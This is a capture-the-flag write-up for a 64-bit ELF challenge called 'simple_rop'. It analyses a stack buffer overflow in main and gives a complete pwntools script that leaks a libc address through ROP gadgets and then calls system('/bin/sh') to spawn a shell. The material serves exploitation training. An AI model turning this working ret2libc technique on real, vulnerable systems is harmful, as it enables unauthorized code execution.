# [PWNABLE] Simple Rop :::warning Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission. ::: ## Analysis This is a challenge that exploits a stack-based buffer overflow vulnerability. ``` ❯ rabin2 -I simple_rop arch x86 baddr 0x400000 binsz 6428 bintype elf bits 64 canary false class ELF64 compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 crypto false endian little havecode true intrp /lib64/ld-linux-x86-64.so.2 laddr 0x0 lang c linenum true lsyms true machine AMD x86-64 architecture maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE sanitiz false static false stripped false subsys linux va true ``` Because NX bit (no-execute) is enabled, data cannot be executed as code, so you need to write ROP (Return Oriented Programming) exploit code. ## Vulnerability ```c .text:0000000000400537 ; Attributes: bp-based frame .text:0000000000400537 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0000000000400537 public main .text:0000000000400537 main proc near .text:0000000000400537 buf= byte ptr -10h .text:0000000000400537 ; __unwind { .text:0000000000400537 000 55 push rbp .text:0000000000400538 008 48 89 E5 mov rbp, rsp .text:000000000040053B 008 48 83 EC 10 sub rsp, 10h .text:000000000040053F 018 BA 18 00 00 00 mov edx, 18h ; n .text:0000000000400544 018 48 8D 35 B9 00 00 00 lea rsi, aRopIsFormulaIs ; "ROP is formula isn't it?" .text:000000000040054B 018 BF 01 00 00 00 mov edi, 1 ; fd .text:0000000000400550 018 E8 DB FE FF FF call _write .text:0000000000400555 018 48 8D 45 F0 lea rax, [rbp+buf] .text:0000000000400559 018 BA 98 00 00 00 mov edx, 98h ; nbytes .text:000000000040055E 018 48 89 C6 mov rsi, rax ; buf .text:0000000000400561 018 BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000400566 018 E8 D5 FE FF FF call _read .text:000000000040056B 018 B8 00 00 00 00 mov eax, 0 .text:0000000000400570 018 C9 leave .text:0000000000400571 000 C3 retn .text:0000000000400571 ; } // starts at 400537 .text:0000000000400571 main endp ``` A stack-based buffer overflow occurs because 0x98 data is read into the rbp-0x10 local variable area at address 0x400566. ## Exploit ```python from pwn import * io = remote('0', 4147) elf = ELF('./simple_rop') libc = ELF('./libc-2.27.so') rop = ROP(libc) payload = b'A'*0x18 payload += p64(0x4005DA) ''' .text:00000000004005DA 030 5B pop rbx .text:00000000004005DB 028 5D pop rbp .text:00000000004005DC 020 41 5C pop r12 .text:00000000004005DE 018 41 5D pop r13 .text:00000000004005E0 010 41 5E pop r14 .text:00000000004005E2 008 41 5F pop r15 .text:00000000004005E4 000 C3 retn ''' payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(elf.got['write']) # r12 payload += p64(1) # r13 payload += p64(elf.got['read']) # r14 payload += p64(8) # r15 payload += p64(0x4005C0) ''' .text:00000000004005C0 038 4C 89 FA mov rdx, r15 .text:00000000004005C3 038 4C 89 F6 mov rsi, r14 .text:00000000004005C6 038 44 89 EF mov edi, r13d .text:00000000004005C9 038 41 FF 14 DC call [r12+rbx*8] ''' payload += p64(0)*7 payload += p64(0x400450) # _start io.sendafter('it?', payload) leak = u64(io.recv(8)) base = leak - libc.symbols['read'] print('libc base : {:x}'.format(base)) system = base + libc.symbols['system'] poprdi = base + rop.find_gadget(['pop rdi', 'ret'])[0] binsh = base + next(libc.search(b'/bin/sh\0')) payload = b'A'*0x18 payload += p64(poprdi + 1) payload += p64(poprdi) payload += p64(binsh) payload += p64(system) io.sendafter('it?', payload) io.interactive() ```